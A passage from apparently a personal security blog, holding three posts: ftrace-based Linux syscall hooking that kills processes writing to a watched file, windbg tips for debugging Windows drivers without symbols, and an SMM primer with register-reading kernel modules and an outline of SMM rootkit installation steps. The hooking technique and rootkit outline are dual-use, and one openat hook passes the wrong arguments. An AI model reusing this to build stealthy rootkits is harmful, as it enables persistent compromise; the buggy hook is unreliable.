		pr_debug("unregister_ftrace_function() failed: %d\n", err);
	}

	err = ftrace_set_filter_ip(&hook->ops, hook->address, 1, 0);
	if (err) {
		pr_debug("ftrace_set_filter_ip() failed: %d\n", err);
	}
}

/**
 * fh_install_hooks() - register and enable multiple hooks
 * @hooks: array of hooks to install
 * @count: number of hooks to install
 *
 * If some hooks fail to install then all hooks will be removed.
 *
 * Returns: zero on success, negative error code otherwise.
 */
int fh_install_hooks(struct ftrace_hook *hooks, size_t count)
{
	int err;
	size_t i;

	for (i = 0; i < count; i++) {
		err = fh_install_hook(&hooks[i]);
		if (err)
			goto error;
	}

	return 0;

error:
	while (i != 0) {
		fh_remove_hook(&hooks[--i]);
	}

	return err;
}

/**
 * fh_remove_hooks() - disable and unregister multiple hooks
 * @hooks: array of hooks to remove
 * @count: number of hooks to remove
 */
void fh_remove_hooks(struct ftrace_hook *hooks, size_t count)
{
	size_t i;

	for (i = 0; i < count; i++)
		fh_remove_hook(&hooks[i]);
}



#define HOOK(_name, _function, _original)	\
	{					\
		.name = SYSCALL_NAME(_name),	\
		.function = (_function),	\
		.original = (_original),	\
	}

static struct ftrace_hook demo_hooks[] = {
	HOOK("sys_write", fh_sys_write, &real_sys_write),
	HOOK("sys_openat", fh_sys_openat, &real_sys_openat),
};

static int fh_init(void)
{
	int err;

	err = fh_install_hooks(demo_hooks, ARRAY_SIZE(demo_hooks));
	if (err)
		return err;

	pr_info("module loaded\n");

	return 0;
}
module_init(fh_init);

static void fh_exit(void)
{
	fh_remove_hooks(demo_hooks, ARRAY_SIZE(demo_hooks));

	pr_info("module unloaded\n");
}
module_exit(fh_exit);

demo_hooks function have two syscalls listed SYS_OPENAT and SYS_WRITE as we decided above.

We have a lookup_name function that will return the address of system call in kernel memory.

Let's check how our callback will looks like. From callback we can call the original function and return the value received from original.

/*
 * x86_64 kernels have a special naming convention for syscall entry points in newer kernels.
 * That's what you end up with if an architecture has 3 (three) ABIs for system calls.
 */
#ifdef PTREGS_SYSCALL_STUBS
#define SYSCALL_NAME(name) ("__x64_" name)
#else
#define SYSCALL_NAME(name) (name)
#endif

#ifdef PTREGS_SYSCALL_STUBS
static asmlinkage long (*real_sys_write)(struct pt_regs *regs);

static asmlinkage long fh_sys_write(struct pt_regs *regs)
{
	long ret;
	
	ret = real_sys_write(regs);

	return ret;
}
#else
static asmlinkage long (*real_sys_write)(unsigned int fd, const char __user *buf,
		 size_t count);

static asmlinkage long fh_sys_write(unsigned int fd, const char __user *buf,
		 size_t count)
{
	long ret;
	
	ret = real_sys_write(fd, buf, count);

	return ret;
}
#endif


#ifdef PTREGS_SYSCALL_STUBS
static asmlinkage long (*real_sys_openat)(struct pt_regs *regs);

static asmlinkage long fh_sys_openat(struct pt_regs *regs)
{
	long ret;
	
	ret = real_sys_openat(regs);

	return ret;
}
#else
static asmlinkage long (*real_sys_openat)(int dfd, const char __user *filename,
				int flags, umode_t mode);

static asmlinkage long fh_sys_openat(int dfd, const char __user *filename,
				int flags, umode_t mode)
{
	long ret;
	ret = real_sys_openat(filename, flags, mode);
	return ret;
}
#endif

Our logic for making file non-writable will comes under fh_sys_openat and fh_sys_write.

Finding the calling process's pid: We need to save two things in fh_sys_openat. First is fd which will be returned from read_sys_openat. Next is pid, which you will get from current task structure.

struct task_struct *task;
task = current;
int pid = task->pid

using this, let's write the logic for fh_sys_openat

unsigned int target_fd = 0;
unsigned int target_pid = 0;


static char *duplicate_filename(const char __user *filename)
{
	char *kernel_filename;

	kernel_filename = kmalloc(4096, GFP_KERNEL);
	if (!kernel_filename)
		return NULL;

	if (strncpy_from_user(kernel_filename, filename, 4096) < 0) {
		kfree(kernel_filename);
		return NULL;
	}

	return kernel_filename;
}

#ifdef PTREGS_SYSCALL_STUBS
static asmlinkage long (*real_sys_openat)(struct pt_regs *regs);

static asmlinkage long fh_sys_openat(struct pt_regs *regs)
{
	long ret;
	char *kernel_filename;
	struct task_struct *task;
	task = current;

	kernel_filename = duplicate_filename((void*) regs->si);
	if (strncmp(kernel_filename, "/tmp/test.txt", 13) == 0)
	{
		pr_info("our file is opened by process with id: %d\n", task->pid);
		pr_info("opened file : %s\n", kernel_filename);
		kfree(kernel_filename);
		ret = real_sys_openat(regs);
		pr_info("fd returned is %ld\n", ret);
		target_fd = ret;
		target_pid = task->pid;
		return ret;
		
	}

	kfree(kernel_filename);
	ret = real_sys_openat(regs);

	return ret;
}
#else


static asmlinkage long fh_sys_openat(int dfd, const char __user *filename,
				int flags, umode_t mode)
{
	long ret;
	char *kernel_filename;
	struct task_struct *task;
	task = current;

	kernel_filename = duplicate_filename(filename);
	if (strncmp(kernel_filename, "/tmp/test.txt", 13) == 0)
	{
		pr_info("our file is opened by process with id: %d\n", task->pid);
		pr_info("opened file : %s\n", kernel_filename);
		kfree(kernel_filename);
		ret = real_sys_openat(dfd, filename, flags, mode);
		pr_info("fd returned is %ld\n", ret);
		target_fd = ret;
		target_pid = task->pid;
		return ret;
		
	}

	kfree(kernel_filename);

	ret = real_sys_openat(filename, flags, mode);

	return ret;
}
#endif

We are saving the pid and fd recieved from openat call into target_pid and target_fd global variable.

As an extra step, we will kill the calling process when they try to write to our monitored file. To kill a process from kernel module, we need to send SIGKILL to the process. The code for that will looks like this:

struct task_struct *task;
task = current;
int signum = SIGKILL;
struct kernel_siginfo info;

memset(&info, 0, sizeof(struct kernel_siginfo));
info.si_signo = signum;
int ret = send_sig_info(signum, &info, task);    

Our complete code for fh_sys_write will look like this:

#ifdef PTREGS_SYSCALL_STUBS
static asmlinkage long (*real_sys_write)(struct pt_regs *regs);

static asmlinkage long fh_sys_write(struct pt_regs *regs)
{
	long ret;
	struct task_struct *task;
	task = current;
	int signum = SIGKILL;
	if (task->pid == target_pid)
	{
		if (regs->di == target_fd)
		{
			pr_info("write done by process %d to target file.\n", task->pid);
			struct kernel_siginfo info;
			memset(&info, 0, sizeof(struct kernel_siginfo));
			info.si_signo = signum;
			int ret = send_sig_info(signum, &info, task);
					if (ret < 0)
					{
					  printk(KERN_INFO "error sending signal\n");
					}
					else 
					{
						printk(KERN_INFO "Target has been killed\n");
						return 0;
					}
		}
	}

	ret = real_sys_write(regs);

	return ret;
}
#else
static asmlinkage long (*real_sys_write)(unsigned int fd, const char __user *buf,
		 size_t count);

static asmlinkage long fh_sys_write(unsigned int fd, const char __user *buf,
		 size_t count)
{
	long ret;
	struct task_struct *task;
	task = current;
	int signum = SIGKILL;
	if (task->pid == target_pid)
	{
		if (fd == target_fd)
		{
			pr_info("write done by process %d to target file.\n", task->pid);
			struct kernel_siginfo info;
			memset(&info, 0, sizeof(struct kernel_siginfo));
			info.si_signo = signum;
			int ret = send_sig_info(signum, &info, task);
					if (ret < 0)
					{
					  printk(KERN_INFO "error sending signal\n");
					}
					else 
					{
						printk(KERN_INFO "Target has been killed\n");
						return 0;
					}
		}
	}
	
	ret = real_sys_write(fd, buf, count);


	return ret;
}
#endif

This is all you need to do to stop any process from modifying a file. You can find the complete code here. Once you clone the repo, run make command and try to write to /tmp/test.txt (default location). You will see something like this in dmesg logs.

Now, every time someone tried to modify the file, the modification will fail and the process will get killed.

References:

https://www.kernel.org/doc/html/v4.17/trace/ftrace-uses.html

Hooking Linux Kernel Functions, Part 2: How to Hook Functions with Ftrace

Learn how to use ftrace - a popular Linux feature - for hooking critical kernel function calls.

AprioritSuper User

Github Repo link: https://github.com/shubham0d/Immutable-file-linux

When you have to deal with Windows kernel debugging, the only option available is using windbg. Although windbg is a powerful debugger but setting it up and debugging the kernel code(specially when the driver is non default and without any symbols) is cumbersome. Even lacks of good resources for Windows kernel debugging make it more time-consuming. Inspired from that, I decide to write a small article where I can share few of my tips and tricks related to  debugging a kernel driver without symbols in windows.

Installation and Setup

For kernel debugging we will need two windows machine since it needs to be performed remotely. The system you want debug will be called here Target machine and the one that you will use to connect to target is called host machine.  

You can refer to this documentation of Microsoft for instructions on how to setup remote kernel debugging link. One situation that you might need to remember is that if your target machine is a VM, then you need to set the Network type/pci device from VirtIo (Virtual network) to any real available hardware device like Intel Gigabyte pci device.

Once you have done with setup and remote debugging has connected on the host, the first thing you might want to do is load all the symbols in windbg.

kd>.sympath srv*c:\MyServerSymbols*https://msdl.microsoft.com/download/symbols

This will download the symbols from Microsoft symbol server and store it locally in C:\MyServerSymbols directory.

Few other commands that you should run before starting the debugging session are following:

• .prefer_dml 1 to turn on DML format support on debugging window.
• ed nt!Kd_DEFAULT_MASK 0xFFFFFFFF to change the default debug bit mask so that all debug messages from the target system will be displayed in the debugger.

 You will also need IDA for statically analyzing the driver file. You can download the freeware version from hex rays official website.

Debugging the driver

In case you are debugging a Windows driver without  symbols, setting breakpoint at the driver code can be your's biggest challenge since you need to provide the addresses of function rather than symbols to break at the driver code. The driver you are interested in debugging can be fall under any of the two conditions.

• The driver is standalone driver that can be loaded manually using pnputil, net install or any 3rd party driver loading tool.
• The driver is part of some installed application and is present at Windows\System32\drivers location.

In both the cases it's better to break at the time when driver is just loaded(and DriverEntry hasn't been executed). You can use the following windbg command to do that.

kd> sxe ld drv.sys
This will break at first chance of the driver. From there you can step next or add another break point at DriverEntry.

In first case you can just load/install the driver using pnputil or any other method. But for later case, you need to reboot the machine using

kd> .reboot  

So that windows perform the driver loading again.

You can check if your driver is loaded or not using

kd> lm

Our next task is to break at the DriverEntry or any other function that we are interested in debugging.

Breaking at DriverEntry or any driver's function

Once you have breaked on Driver loading code, you need to setup a breakpoint at DriverEntry. But since the drivers don't have symbols present, it's not possible to break by doing something like kd> bp drv.sys!DriverEntry, rather we have to find the address of DriverEntry or other interested function in memory and setup breakpoint using that address. Finding the address of a function is little tricky , we have to use any dissembler like IDA to find the address in driver file.

In case of IDA, when you see the starting address of a function, the address is not RVA from ImageBase. The address is ImageBase + Section Virtual address(.text VA)/BaseOfCode   + Offset of the function in section.

For example, let's check a sample driver. sub_13574 is a  random function shown in IDA where we want to break.

Here, the address of the function shown is 0x13574. Now check the ImageBase and VA of .text section in CFF Explorer.

Here, we have ImageBase of 0x10000 and RVA of .text as 0x1000.

By using this information, if you want to find the address of a function in memory for a driver, you can use the following calculation:-

Address in Memory = Starting address of driver + Address in IDA(0x13574) - ImageBase (0x10000)

Let's check this address in windbg.

You can check that the code is same as we have seen in IDA.

Other way to check the code in windbg without using disassembly panel is by using following command.

kd> u my_drv + 0x13574 - 0x10000

Now, since we know the address, we can set a breakpoint on that address using bp command and continue debugging. In this manner, you can set breakpoint at any address in the driver. After this, you can debug the driver as in other normal cases.

Finding DriverEntry code on already loaded driver (DriverEntry already executed):

If you are trying to find the DriverEntry code in windbg on a driver which is already loaded, then there is high chances that the code is not there. Mostly DriverEntry resides in INIT (initialization) section of PE file of driver. In most of the case the INIT section is marked as IMAGE_SCN_MEM_DISCARDABLE i.e discardable section. This characteristic implies that once the code is executed in memory, throw the section away from memory since that code is not used anymore after initialization.

Few important windbg commands used in kernel debugging

We have already covered how to get started with windows driver debugging in case you don't have the symbols for the driver. In this section, I will cover few basic windbg commands that are used frequently while doing kernel debugging.

• To display symbols for all drivers

kd> x*!

• To dump header of the driver.

kd> !dh drv.sys

• To get detailed information about the driver including Imagebase, function list etc.

kd> lm m my_drv v 
or
kd> !lmi my_drv 

• To list down  dispatch table (functions address) in a driver (useful in debugging filter drivers)

kd> !drvobj my_drv 2

• Getting structure of kernel any predefined kernel object.

kd> dt _eprocess
or 
kd> dt _kthread

• Mapping a memory address to some structure.

kd> dt _eprocess <address>

Rest of the command are same as in usermode debugging. You can checkout the windbg cheet sheet here.

Skipping the part 2 of firmware security series, I have decided to jump directly on part 3 where we will learn about SMM (System management mode) and its security.

Game of privilege rings

If you have previous experience with OS Internals or security than you must have heard about traditional ring level, this includes ring 0(kernel mode), ring 3(usermode) and all privilege ring(1 and 2) between them. Here, low ring level define more privilege. But in intel architecture(also true for AMD architecture) the privilege ring doesn't end at ring 0 but goes much lower than that. Below is the representation of known ring level in intel architecture.

From the above ring levels, we are interested in digging into the ring -2 which is SMM. We care about SMM since its more privilege than not only the kernel mode but also hypervisor. A malicious code running with this privilege is OS independent and can survive OS reinstallation or disk wipes. Not only that, in general it's not possible to detect a malicious code running in SMM from the operating system.

What is System management mode (SMM)

System Management mode (SMM) is a relatively obscure mode on Intel processors, used for low-level hardware control. According to intel's documentation, SMM is a special-purpose operating mode provided for handling system-wide functions like power management, system hardware control, or proprietary OEM-designed code. It is intended for use only by system firmware, not by applications software or general-purpose system software. The main benefit of SMM is that it offers a distinct and easily isolated processor environment that operates transparently to the operating system or executive and applications. I.E when a processor enters SMM mode, all running tasks in all processors are suspended until the processor exits this mode.

Entering and Exiting System Management Mode

SMM can be invoked by signalling a System Management Interrupt (SMI). SMI can be generated by Hardware using SMI# pins in processor or by using local or I/O APIC busses. SMI can also be generated from software by writing to certain I/O ports or chipset registers. SMI cannot be masked like normal interrupts. Also, inside SMM all other interrupts are disabled.

To exit to SMM, cpu use RSM instruction. RSM can only be called from SMM.  This instruction causes the processor to reload the saved context of the processor, switch back to protected or real mode, and resume executing the interrupted application or operating system program or task.

Generating SMI from linux

If you check your processors PCH/ICH datasheet, you will find that you can generate SMI using Advance Power Management (APM).

APM_CNT is control register present at I/O port 0xB2. Writing a byte to APM_CNT will generate a SMI. Let's try to do that from a linux driver.

static int my_init(void)
{

	
    uint8_t smm_response  = 0x0;
    printk(KERN_INFO "Hello world.\n");
    
    //check the initial value recieve from 0xB2 port
	smm_response = inb(0xb2);
	
	printk(KERN_INFO "data recieved from port 0xb2 is %x.\n", smm_response);
	//write to 0xB2 port to cause SMI
	outb(0x80, 0xb2);
	// Check the respose
	smm_response = inb(0xb2);
	
	printk(KERN_INFO "data recieved after is %x.\n", smm_response);
	
    
    return  0;
}
   
static void my_exit(void)
{
    printk(KERN_INFO "Goodbye world.\n");

    return;
}
   
module_init(my_init);
module_exit(my_exit);



MODULE_LICENSE("GPL");
MODULE_AUTHOR("Shubham Dubey <shubham0d@protonmail.coms>");
MODULE_DESCRIPTION("Generate SMI");

Load the driver using insmod and check the debug messages using dmesg command. Did you see any change after the code is executed?

You will not see any changes in system since the cpu transfer to SMM mode and exited from that quickly without the end user knowing it.

Check SMI count - To confirm that our driver is triggering SMI, we can use SMI_COUNT MSR. Let's modify our code to check if the SMI counter has increased or not.

#define MSR_SMI_COUNT			0x00000034


static int my_init(void)
{

	
    uint8_t smm_response  = 0x0;
	uint32_t smi_count = 0x0;
    printk(KERN_INFO "Hello world.\n");
    
    // check smi count
    rdmsrl(MSR_SMI_COUNT, smi_count);
    printk(KERN_INFO "SMI count earlier is %x.\n", smi_count);
    //check the initial value recieve from 0xB3 port
	smm_response = inb(0xb2);
	
	printk(KERN_INFO "data recieved from port 0xb2 is %x.\n", smm_response);
	//write to 0xB2 port to cause SMI
	outb(0x80, 0xb2);
	// Check the respose in port 0xB3
	smm_response = inb(0xb2);
	
	printk(KERN_INFO "data recieved after is %x.\n", smm_response);
	
	rdmsrl(MSR_SMI_COUNT, smi_count);
    printk(KERN_INFO "SMI count later is- %x.\n", smi_count);
    
    return  0;
}
   
static void my_exit(void)
{
    printk(KERN_INFO "Goodbye world.\n");

    return;
}
   
module_init(my_init);
module_exit(my_exit);

MODULE_LICENSE("GPL");
MODULE_AUTHOR("Shubham Dubey <shubham0d@protonmail.coms>");
MODULE_DESCRIPTION("SMM interaction");

Let load the driver and check the debug messages.

You can check that SMI count has increased after writing to port 0xB2. There are many other events that can be trigger from operating system to generate SMI like programming the local APIC or writing to some other ports. You can consult your chipset datasheet to know more about that.

SMRAM

SMM code stays in a special protected memory region called SMRAM. This address space contains the SMI handler code and data, this handler code is the first code to execute when SMI is triggered. SMRAM can be locked so that even the privileged software in the protected mode of the CPU cannot access it.

Structure of SMRAM

First off, few terms used in context of SMRAM:

SMBASE: It is a cpu internal register that contains the base address of SMRAM for a processor.

SMI Handler code: This is the first code that get executed on SMI trigger. It is at specific offset from SMBASE.

State saved area: When switching to SMM the cpu state is saved on SMM at particular offset from SMBASE. Before exiting from SMM, processor state is restored by loading the saved state from SMRAM back to processor registers.

The default SMRAM size is 64 KBytes . The SMBASE default value at system startup/ hardware reset is 0x30000. The processor looks for the first instruction of the SMI handler at the address [SMBASE + 0x8000]. It stores the processor’s state in the area from [SMBASE + 0xFE00] to [SMBASE + 0xFFFF].

Even the startup SMBASE is fixed, it can be relocated by changing SMBASE register which is present at memory offset [SMBASE+ 0xFEF8]. It should be clear that since the SMBASE is inside SMRAM, it can only be modified when in SMM.

A layout of SMRAM looks like below:

Multi-core systems will typically have their SMBASE offset differ by N bytes from each other. For example: Core 0 defines SMBASE as 0xA0000, will enter SMI handler at 0xA8000 – Core 1 defines SMBASE as 0xA1000, will enter SMI handler at 0xA9000 etc.

Some registers in the SMRAM state save area may be read and changed by the SMI handler, with the changed values restored to the processor registers by the RSM instruction. Some register images are read-only, and must not be modified. Below is the mapping of registers in saved state area.

You can see SMBASE register field at offset 0x7EF8 in above list.

Finding SMBASE

In this part we will try to find the possible SMRAM memory location. It can be located anywhere in the 4GB memory (to be precise it will be <TOLUD). SMRAM must relocate at least once after system boot from 0x30000 to any other memory space.

For older systems(ICH chipset based) SMRAM is present at atleast one of the following SMM region:

For newer chipset (PCH one), the SMM region is limited to Compatible and TSEG region.

To keep things recent, we will only discuss the Compatible and TSEG regions.

Compatible SMRAM space

Its fixed address space ( 0xA0000 - 0xBFFFF) in physical memory. When compatible SMM space is enabled, SMM-mode processor accesses to this range are routed to physical system memory at this address. Non-SMM-mode processor accesses to this range are considered to be the video buffer area.

To check if compatible SMRAM is enabled intel processors have G_SMRAME flag present on SMRAMC register. SMRAMC register is present at DRAM controller(0:0:0) at offset 0x88. It may differ for your processor, verify it on datasheet.

Let's create a linux driver to check if compatible SMRAM is enabled.

static int my_init(void)
{
	struct pci_dev *dev;
	u8 pci_data;
    printk(KERN_INFO "Hello world.\n");
    //get pci device
    dev = pci_get_device(0x8086, 0x0a04, NULL);
    if (!dev)
    {
		printk(KERN_INFO "FAILED to get pci device\n");
		pci_dev_put(dev);
		return -ENODEV;
	}
	printk(KERN_INFO "Attached to the pci device\n");
	//Offset 0x88 in DRAM controller
	pci_read_config_byte(dev, 0x88, &pci_data);
	printk(KERN_INFO "SMRAMC data recieved is 0x%x.\n", pci_data);
	
	
	// Bit 3 in SMRAMC is G_SMRAME
	pci_data = pci_data >> 3;
	pci_data = pci_data & 0x1;
	printk(KERN_INFO "G_SMRAME is set to %x.\n", pci_data);

	//cleanup after use
	pci_dev_put(dev);

    
    return  0;
}

The output I received from dmesg after loading the module:

From above, it is confirmed that compatible SMRAM is enabled. We can check the data at memory address 0xA0000 using chipsec.

0xFF as bytes confirm the SMRAM presence as SMRAM data is not accessible from the operating system.

Note: You can also read the physical address from kernel module using ioremap call.

phys_addr_t comp_smram_phys = 0xA0000; 
void __iomem *mapped = ioremap(comp_smram_phys, 0x10); //reading 10 bytes

TSEG Space (Top of main memory segment)

TSEG is a variable address space that is present at address TOLUD-STOLEN (discussed below).

Before that let check a graphic representation of main memory:

In the above image between TOLUD and TSEG memory space, IGD and IGGTT combined called STOLEN memory. Hence

TSEG = TOLUD - STOLEN - TSEG_SIZE to TOLUD - STOLEN

Let's define the TOLUD and STOLEN first:

TOLUD: Top of Low Usable DRAM

TOLUD register is restricted to 4 GB memory (A[31:20]), but the processor can support up to 32 GB, limited by DRAM pins. It is present at DRAM controller at offset 0xBC.

STOLEN:

STOLEN refer to graphic memory stolen, which is optional and can be 0. STOLEN size can be determined by checking GMS in GGC register which is present at offset 0x50 on DRAM controller.

According to GMS bits, you can determine the size of STOLEN memory and subtract it from TOLUD to get the TSEG end address.

Luckily for PCH processors, you don't have to manually find the TSEG memory by using  TOLUD or STOLEN. There is a register TSEGMB that contains the base address of TSEG memory.

In PCH based system STOLEN = DSM size + GSM size.

For STOLEN memory DSM base and GSM base are determined by BDSM and BGSM registers respectively. The registers are present at DRAM controller at offset 0xB0 and 0xB4.

From above data we can conclude that by subtracting TSEG base from BGSM base, we can find the TSEG size. (Note: We are subtracting from BGSM since its lower the BDSM)

Let's write a module to get TSEG base and size.

static int my_init(void)
{
	struct pci_dev *dev;
	u32 pci_data;
	u32 stolen_data;
	u32 tseg_size;
    printk(KERN_INFO "Hello world.\n");
    //get pci device
    dev = pci_get_device(0x8086, 0x0a04, NULL);
    if (!dev)
    {
		printk(KERN_INFO "FAILED to get pci device\n");
		pci_dev_put(dev);
		return -ENODEV;
	}
	printk(KERN_INFO "Attached to the pci device\n");
	//read dword value from pci deevice
	
	pci_read_config_dword(dev, 0xb8, &pci_data);
	printk(KERN_INFO "TSEGMB register data recieved is 0x%x.\n", pci_data);
	printk(KERN_INFO "TSEGMB is set to 0x%x.\n", (pci_data >> 1) << 1);
	
	
	//check base of GTT stolen memory
	pci_read_config_dword(dev, 0xb4, &stolen_data);
	printk(KERN_INFO "BGSM register data recieved is 0x%x.\n", stolen_data);
	printk(KERN_INFO "BGSM is set to 0x%x.\n", (stolen_data >> 1) << 1);
	
	tseg_size = ((stolen_data >> 1) << 1) - ((pci_data >> 1) << 1);
	printk(KERN_INFO "TSEG size is 0x%x.\n", tseg_size);

	//cleanup after use
	pci_dev_put(dev);

    
    return  0;
}

The output I received is the following:

Here, The TSEGMB memory address is 0xab000000 and its size is 0x800000 (8MB).

Note: TSEG size is not equal to SMRAM size.

You can verify if the address is non-readable or not using chipsec like we did it above.

Note: For PCH based system with no HSEG, if TSEG is enable that implies that Compaible range is also enabled.

Protections  for SMRAM

The  memory controller  offers  dedicated  locks  to  limit  access  to SMRAM memory to  system  firmware (BIOS) only. BIOS  after  loading  the  SMM   code  into  SMRAM, can   (and   should)   later   "lock   down" system configuration  in  such  a  way that  no further  access, from   outside   the   SMM    mode,   to   SMRAM   is possible, even for an OS kernel (or a hypervisor).

D_LCK and D_OPEN

Intel provide and D_OPEN and D_LCK bits to make SMRAM region non-accessible from outside SMM.

To help the BIOS configure SMRAM, the chipset provides a means for leaving SMRAM open even when the processor is not in SMM by D_OPEN flag. D_LCK prevents this bit from being asserted. These flags are present on SMRAMC register at bit 4 and 6.

Let's check the flags in our system:

static int my_init(void)
{
	struct pci_dev *dev;
	u8 pci_data;
    printk(KERN_INFO "Hello world.\n");
    //get pci device
    dev = pci_get_device(0x8086, 0x0a04, NULL);
    if (!dev)
    {
		printk(KERN_INFO "FAILED to get pci device\n");
		pci_dev_put(dev);
		return -ENODEV;
	}
	printk(KERN_INFO "Attached to the pci device\n");
	//read dword value from pci deevice
	
	pci_read_config_byte(dev, 0x88, &pci_data);
	printk(KERN_INFO "SMRAMC data recieved is 0x%x.\n", pci_data);
	

	// D_LCK bit is 4
	// pci_data = pci_data >> 4;
	// D_OPEN bit is 6
	// pci_data = pci_data >> 6;
	printk(KERN_INFO "D_LCK flag is set to %x.\n", (pci_data >> 4) & 1);
	printk(KERN_INFO "D_OPEN flag is set to %x.\n", (pci_data >> 6) & 1);

	//cleanup after use
	pci_dev_put(dev);

    
    return  0;
}

I received the following output:

TSEG lock

Even if D_OPEN is set, still outside SMM application will not be able to access the SMRAM present in TSEG region since TSEG is another protected memory area(protected using SMRRs). But the attacker can try to change the TSEG base to shift SMRAM outside TSEG protected region. TSEGMB register contain a lock to prevent that. I.E when its set, the register became read only.

SMRR (System Management Range register)

Another latest(still quite old) and important protection available for SMRAM is SMRR registers which protect SMRAM against multiple types of attacks like SMM cache poisoning, which we will be discussing in next section.

SMRR was introduced for x64 processors. It is used to restrict access to address range defined in SMRR against those range use in MTRR (discussed later) or remapping registers. SMRRs can be modified only when the processor is in SMM.

If IA32_MTRRCAP[bit 11] is set, the processor supports the SMRR interface to restrict access to a specified memory address range used by SMM. The system-management range registers consist of a pair of MSRs. The IA32_SMRR_PHYSBASE MSR defines the base address for the SMRAM memory range and the memory type used to access it in SMM. The IA32_SMRR_PHYSMASK MSR contains a valid bit and a mask that determines the SMRAM address range protected by the SMRR interface. These MSRs may be written only in SMM; an attempt to write them outside of SMM causes a general-protection exception.

Lets write a module to check if SMRR is set or not and what physical base it is protecting.

#define MSR_MTRRcap			0x000000fe

#define IA32_SMRR_PHYBASE		0x1F2
#define IA32_SMRR_PHYMASK		0x1F3
static int my_init(void)
{

	uint64_t smrr_base = 0x0;
	uint64_t smrr_mask = 0x0;
	uint64_t mtrr_cap = 0x0;
	uint8_t smrr_support = 0x0;
    printk(KERN_INFO "Hello world.\n");
    rdmsrl(MSR_MTRRcap, mtrr_cap);

	// bit 11 SMRR supported
    smrr_support = (mtrr_cap >> 11) & 0x1;
    printk(KERN_INFO "SMRR support is %x.\n", smrr_support);
    // check SMRRs value
    rdmsrl(IA32_SMRR_PHYBASE, smrr_base);
	rdmsrl(IA32_SMRR_PHYMASK, smrr_mask);
    printk(KERN_INFO "SMRR base is %llx.\n", (smrr_base >> 8) << 8);
    printk(KERN_INFO "SMRR mask is %llx.\n", smrr_mask);

	
    
    return  0;
}

After loading, I recieved the following output:

Note that the base address we received is the base address of TSEG region. It is because SMRR protects TSEG region.

Another point to note here is that each CPU has it's SMRR but mostly you will find each SMRR[X] have same base and mast set.

Breaking Security of SMM

So far we have covered the basics of SMM and where they are mapped in our physical memory. Now lets check the known attacks on SMM which are found in past by different researchers. All of these attacks are old and fixed in most recent processors, but we are covering them to give you the understanding about SMM security.

Unlocked SMM

In older systems (without SMRR) SMM is protected using D_LCK only. There are cases (statically very rare) where vendor forget to set the D_LCK and set the D_OPEN to 1. In these cases SMM space is unlocked and writable from outside SMM.

There are few proof of concept rootkits called SMBR that leverage this fact to install a new SMI handler that perform malicious activity like network monitoring, data exfiltration etc. Here is decribed steps mentioned in one of the research paper (link on references) related to SMM rootkits.

1. On a host machine, an attacker makes SMRAM visible from protected mode for reading and writing by setting the D_OPEN bit.
2. Once D_OPEN is set, the attacker copies the rootkit SMM handler code to the handler portion ofSMRAM as defined by the Intel documentation.
3. Finally, the attacker clears the D_OPEN bit and sets the D_LCK bit. This has the effect of making SMRAM invisible to everything other than the subverted (rootkit) SMI handler and of locking the SMRAMC register so that it can no longer be modified. The addressing of the SMRAMC register is chipset specific.

You can watch the whole talk on the topic here:

Jumping from SMI to unprotected region

SMI handler code are mostly written by intel but modified further by vendors. There can be time where SMI handler code call/refer code or data of non SMRAM region. This can have catastrophic effect since that region can be controlled by attacker. Few points on this from opensecuritytraining BIOS course (link below):

ITL found multiple bugs in Intel's SMM code where it was accessing data outside the protected ranges, which could consequently be attacker controlled (which led to simple "change a function pointer to jump to my code" type attacks, and could lead to buffer overflow attacks)

You can learn more on this topic from this talk (although the talk is for non security audions but covers lots of interesting use of SMI handler code and issues to look for while writting those):

More than that, vendors are allowed to put complex capabilities in SMI handler code like setting paging, protected mode etc (even more complex stuff). Having such complex code in SMI is always a bad idea. Wrong register setup or memory access can cause a big hole in SMM protection.

SMM Cache poisioning

This is a well known attack discovered by Invisible things labs in 2009. It leverages the fact that caching is enabled even in SMM. To understand more about this attack we first need to know how Intel caches a region of memory using MTRR.

MTRR and memory caching type

Intel processors provide functionality to set type of caching for a region of memory using few MSR called MTRRs (they are multiple in number). The MSRs are named as IA32_MTRR_PHYSBASEn and IA32_MTRR_PHYSMASKn, having following structure.

Type field in MTRR_PHYSBASE can be one of the following:

From all these, the one we are interested in is WriteBack which is set by default for a region in most cases.

Writeback Caching: When set for a memory region, read/write are perform from the cache and later write-back into memory. It is used to reduce the bus traffic between processor and memory. In brief: when you read something from the memory with WB set, it gets read from cache line. Similarly, when you write something to that memory, it gets written to the cache line and later written back to memory.

Before moving forward to attack, let's write a module to check MTRR status. Intel contain IA32_MTRRCAP MSR that contain info like amount of MTRR in the processor and if SMRR enable etc.

Lets write our code keeping in mind above structure:

#define MSR_MTRRcap			0x000000fe

#define IA32_MTRR_PHYBASE0		0x200
#define IA32_MTRR_PHYMASK0		0x201
#define IA32_MTRR_PHYBASE1		0x202
#define IA32_MTRR_PHYMASK1		0x203
static int my_init(void)
{

	uint64_t mtrr_base = 0x0;
	uint64_t mtrr_mask = 0x0;
	uint64_t mtrr_cap = 0x0;
	uint8_t  mtrr_supported = 0x0;
	uint8_t  fix_range_mtrr = 0x0;
	uint8_t  wc_support = 0x0;
	uint8_t smrr_support = 0x0;
    printk(KERN_INFO "Hello world.\n");
    rdmsrl(MSR_MTRRcap, mtrr_cap);
    // check the defined fields inside IA32_MTRRCAP
    // bit 7:0 MTRR_PHYBASEX can be used
	// bit 8 Fixed Range MTRR are supported
	// bit 10 WC supported
	// bit 11 SMRR supported
	// bit 11 PRMMR supported
    mtrr_supported = mtrr_cap & 0xFF;
    fix_range_mtrr = (mtrr_cap >> 8) & 0x1;
    wc_support = (mtrr_cap >> 10) & 0x1;
    smrr_support = (mtrr_cap >> 11) & 0x1;
    printk(KERN_INFO "MTRRCAP is %llx.\n", mtrr_cap);
    printk(KERN_INFO "Number of MTRR is %d.\n", mtrr_supported);
    printk(KERN_INFO "Fixed range MTRR support is %x.\n", fix_range_mtrr);
    printk(KERN_INFO "WC support is %x.\n", wc_support);
    printk(KERN_INFO "SMRR support is %x.\n", smrr_support);
    // check MTRRs value
    rdmsrl(IA32_MTRR_PHYBASE0, mtrr_base);
	rdmsrl(IA32_MTRR_PHYMASK0, mtrr_mask);
    printk(KERN_INFO "MTRR Physical base 0 is %llx.\n", mtrr_base);
    printk(KERN_INFO "MTRR Physical Mask 0 is %llx.\n", mtrr_mask);

	
    
    return  0;
}

The output I recieved is following:

6 at end of base represent WB set. Base is 0 for data 80000000.

